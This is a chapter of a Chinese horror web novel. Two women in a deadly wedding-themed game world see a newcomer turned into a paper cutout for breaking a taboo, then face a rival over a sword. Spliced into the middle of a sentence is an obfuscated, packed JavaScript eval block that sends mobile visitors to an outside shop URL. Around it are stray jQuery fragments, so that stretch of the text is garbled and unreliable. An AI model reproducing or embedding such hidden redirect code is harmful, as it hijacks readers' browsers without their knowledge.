大门口,一个身穿香槟色长裙,短发齐刘海的女生高声喊着谁的名字,她旁边,是刚才围着旗袍妇女的那群人,正伸长脖子看着她,还时不时对着她指指点点。
“阿亮!阿亮你在哪啊!阿亮!”
齐刘海女生急切的往小洋楼里走去,却被身上的长裙绊了跤差点摔倒。她手扶着大门稳住身形,泄愤似地踢了下裙子下摆,语气生气又委屈:“什么破裙子!”
说着眼眶中的泪水就流了出来,边哭边道:“呜呜呜这到底是什么地方啊……阿亮怎么也不见了……阿亮,你到底在哪,我害怕……”
看来是个新人,安岳犹豫一瞬,还是决定过去跟她简单说明下九重天的规则。
看齐刘海哭得伤心,人群里一个穿碎花上衣的大婶皱眉道:“姑娘,你怎么回事?人小玲父母好不容易回来一趟办个喜事,你在这哭什么?”
她旁边的另一个大婶眼神不善地瞪了齐刘海一眼,附和道:“就是,找不见人也不能在大门口哭啊。”
齐刘海没得到安慰,反而被人说了一顿,霎时提高分贝哭喊道:“关你们什么事!我愿意在哪哭就在哪哭!呜呜呜阿亮……有人欺负我……”
碎花上衣大婶这下是真的生气了,她用那双浑浊的眼珠阴恻恻地盯着齐刘海,沉声开口:“办喜事就是不能哭!不能!”
“什么喜事!”齐刘海撕心裂肺起来,冲着前面的几人吼道,“我刚刚明明在一个葬礼现场,怎么就变成喜事了!你们到底是谁!这里又是哪里!为什么我会来到这!”
从齐刘海口中说出葬礼一词,安岳心中就预感不妙。她加快速度挤着人群往对方那里走去。
果然,听到齐刘海的话后,刚才还热闹非凡的人群刹那间全部停下动作和说话声,扭头直勾勾望着她的方向,有背对着她的男女老少,脖子也扭转180度去看她,就连楼上二三层的客人,脖子也像只鸵鸟一样伸长了向下看。
此时的小洋楼里仿佛时间静止一般,没人动,也没人说话。
齐刘海被这恐怖的一幕吓得立马止住哭声,她嘴唇发白,身体不由自主地颤抖着怯怯道:“你们是人是……”最后那个鬼字被自己强行咽了下去。
碎花上衣大妈用她那略微沙哑的声音幽幽道:“喜事怎么会是丧事。”
“我……”齐刘海吓得已经说不出话来,她慌乱的用手擦着脸上的泪花,却发现触碰在皮肤上的触感十分奇怪,低头去看,只见刚才还白嫩的双手,此刻已经变成了两片薄薄的纸片。
尖叫声划破天际:“啊啊啊啊啊啊!”
齐刘海目露惊恐的大声嚎叫着:“这是什么!我的手呢!我的手呢!!!啊啊啊救命!我的手!”
安岳眼看着她小臂纸化延伸到大臂,而后是胸腔,腹部,大腿,小腿。不一会儿,刚才还亭亭玉立的姑娘一下就变成了一张同比例大小的人形立牌,她面部还保持着刚才惊恐的表情,风一吹,就那么轻飘飘的随风舞动,被面前的碎花上衣大妈一手抓住。
她脸上带着欣慰的笑容道:“还是这个样子好,安静。”说完就把齐刘海人形立牌放在了新娘人形立牌的后面,那一幕就好像在给纸人找伴娘一样。
碎花上衣大妈安放好人形立牌后,整个小洋楼的人才活了过来,该说笑的说笑,该帮忙的帮忙,好像刚才什么都没有发生一样。
安岳站在拥挤的人群里,不由从脚底板处窜出一股冷意。她看向身边人的眼神再也温和不起来。
这个副本的所有NPC,都是规则。他们无时无刻不在盯着你,就看你什么时候触犯规则,好把你绳之以法。可问题是,她们连规则有几条,分别是什么都不知道。
“安岳。”一声淡漠的嗓音在二楼响起。
安岳抬头,单卢穿着香槟色伴娘服,后面不伦不类地背着柄长剑静静站立在二楼露台上。她估计也看到了刚才的情况,顿了下道,“你先别走,我下去。”完后转身往楼下走去。
“这就是我们这次的队友?我看也不怎么样嘛。”
三楼,一男一女站在露台上望着楼下讨论着。安岳抬眼,看到了两位大妈口中的那个女孩和那个男的。
女孩穿着同样的香槟色长裙,大波浪的黑长发,皮肤白皙,面若桃花,一点也没有大妈口中所谓的妖里妖气,相反,她身上有种从小被娇养着长大的娇憨富贵感,一看就是大户人家出来的女孩子。
至于她旁边的男的,身形高大,面容刚毅,以一种绝对保护的姿态站在那个女孩旁边。
女孩嗤笑着不知说了声什么,她身旁的男的一言不发侧头认真听着。
“安岳。”
听到单卢的声音,安岳用眼神示意她看楼上的那两位。单卢瞥了眼就收回目光:“刚碰到了,太过自大。”
看来他们之间的相处不是很愉快,安岳回神:“其他人你有碰到吗?”
单卢摇头:“我走遍了吴玲的家,除了你,我,那一男一女,还有刚变成纸人的女孩,其他人我还没有发现。”
安岳低头思索道:“或许,其他人在新郎家。”
“有这个可能。”单卢一听就反应过来,“这边目前看来一共四个伴娘,新郎那边应该也有同样数量的伴郎。”
“嗯。”安岳眼睛直视她,“说说你的发现。”
单卢眨眼,用手点了一下自己的太阳穴:“这种情况不是你的联想电脑该启动吗?”
安岳:……她发现单卢是有些冷幽默在身上的。
对方收起沉默,开口道:“从刚才那个女孩纸化可以得出结论,我们不能在喜事上提起——”单卢适时止声,安岳接住话题,把之前关于嗑瓜子大妈她们的对话大致说了下,又说了自己对副本时间的猜测。
单卢眉头紧蹙:“你说的很有可能。事不宜迟,我们先去村口看下副本结界。”
安岳点头表示赞同:“走。”
“慢着——”
迈出的脚步被一个甜腻的声音拉回,两人同时回头看去。
是那位大波□□孩。安岳开口:“有事?”
大波□□孩勾唇轻笑,那笑容仿若樱花般灿烂,声音也甜如沁蜜,但说出的话却没有那么好听了。
“你们发现了什么,快说出来吧。”
如此理直气壮,好像她们两人是她的下属般。安岳似笑非笑道:“凭什么?”
那女孩但笑不语,右手食指和中指一夹,手速极快的把两指之间的东西抛向安岳面门。
嗡——
冷兵器碰撞的震鸣声让双方几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200571|132848||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人都身体一震。女孩挑眉,看着反手持剑挡在安岳身前的单卢道:“剑不错,给我吧。”
单卢握紧剑柄语气冰冷:“做梦。”
女孩被一而再再而三的拒绝,顿时胸膛起伏不定,气火难压,她眼睛盯着安岳两人,侧头道:“志刚,我要那把剑。”
一直在她身后沉默的志刚点点头,一副得令准备动手的样子。
“等下。”安岳快速瞥了一眼在旁边看热闹的那位碎花上衣大妈,开口道,“你们确定要在吴玲大喜的日子里动手?不太好吧。”
对面的女孩扬起下巴不屑一笑:“动手怎么了?我想要的东西,还没有得不到的。”
在一边观察许久的碎花上衣大妈忍不住了,她扯着嗓子道:“干什么干什么,谁要在小玲婚事上动手?”
大波□□孩一看,是那位刚解决了齐刘海女孩的大妈,再怎么咽不下这口气也硬生生憋了下去。
她面色难看,对着安岳两人冷哼一声,留下一句:“迟早是我的。”后,潇洒转身离开,志刚紧随其后。
安岳对着大妈歉意道:“不好意思啊,阿姨,我和朋友闹着玩呢,我们绝不可能在小玲的婚礼上动手的,您就放心吧。”
碎花上衣大妈听后面色缓和了下,但还是以教育的语气开口道:“这次就算了,下次再开这种玩笑,我可不会放过你们。”
“阿姨您说笑了,肯定没有下次。”安岳笑眯眯的把事糊弄过去,拉着单卢脚步急促的离开了吴玲家。
路上,安岳斟酌一下,对单卢道:“谢谢你刚才替我挡的那一下。”若不是单卢,她玉镯的功能就要暴露了。
单卢淡漠启唇:“小事一桩。”
“你多注意点那女孩。”安岳感觉对方会誓不罢休。
“她?花架子一个,还不如我。”单卢声音淡淡,“倒是她旁边的那个男的,看起来是有真功夫在身上。”
安岳:“那个志刚应该是女孩的保镖之类。总之我们面对他们要小心行事。”
单卢:“我从小的基本功也不是白练的。”说着拿起长剑就要往长裙上招呼,被安岳赶忙拦下。
“你要干什么?”
单卢一手提裙一手执剑:“太长了,切掉。”
安岳按住她:“别,万一破坏伴娘服被视为不重视吴玲的婚礼怎么办?”
她们目前就发现了一条规则:不能在婚礼上说不吉利的话。在此规则上面做出延伸,如不能在婚礼是闹事,不能破坏婚礼,不能不尊重新人等等,这些都有可能是隐藏的规则。
单卢默默收好长剑,把长裙下摆提高至腰部,打了个结固定住:“走吧。”
“不错。”安岳有样学样。
还好今天大部分村民都去吴玲家里帮忙去了,路上没有几个人看到。她们就这样不顾形象地狂奔到了村口。
出村的有两条路,一条路两侧的白桦树上挂满了红灯笼,这应该是通往新郎所在的刘家庄的路。
另一条的旁边,有一块蓝底白字的交通指示牌,上面写着这条路通往市里面。安岳走上前,果不其然摸到了一堵透明的空气墙。
两人对视一眼,都从彼此的眼中看到了一抹凝重。
这次的副本时间,只剩不到九个小时了。